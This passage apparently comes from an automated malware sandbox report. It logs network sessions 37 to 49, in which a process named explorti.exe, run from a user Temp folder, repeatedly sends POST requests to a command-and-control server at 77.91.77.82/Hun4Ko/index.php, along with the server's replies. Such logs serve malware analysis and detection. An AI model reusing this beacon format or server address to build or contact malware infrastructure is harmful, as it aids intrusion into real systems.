Jul 5, 2024 05:10:42.817280054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49774	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:42.925442934 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:43.627463102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:43.631434917 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:43.849529028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49775	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:43.972579956 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:44.682857990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:44.685906887 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:44.909461021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49776	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:45.021903992 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:45.722275019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:45.723231077 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:45.944767952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49777	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:46.066132069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:46.802546978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:46.803257942 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:47.033916950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49778	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:47.144500017 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:47.857371092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:47.861205101 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:48.087090969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49779	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:48.206718922 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:48.912866116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:48.913644075 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:49.138216972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49780	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:49.253915071 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:49.960004091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:49.960800886 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:50.179233074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49781	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:50.301326990 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:51.001724958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:51.005486965 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:51.224138975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49782	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:51.332046032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:52.044487000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:52.047466040 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:52.267561913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49783	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:52.379122972 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:53.095915079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:53.103115082 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:53.331283092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49784	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:53.447033882 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:54.148936033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:54.149723053 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:54.371426105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49785	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:54.489471912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:55.180836916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:55.183578968 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:55.399924994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49786	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:55.523468971 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:56.233320951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
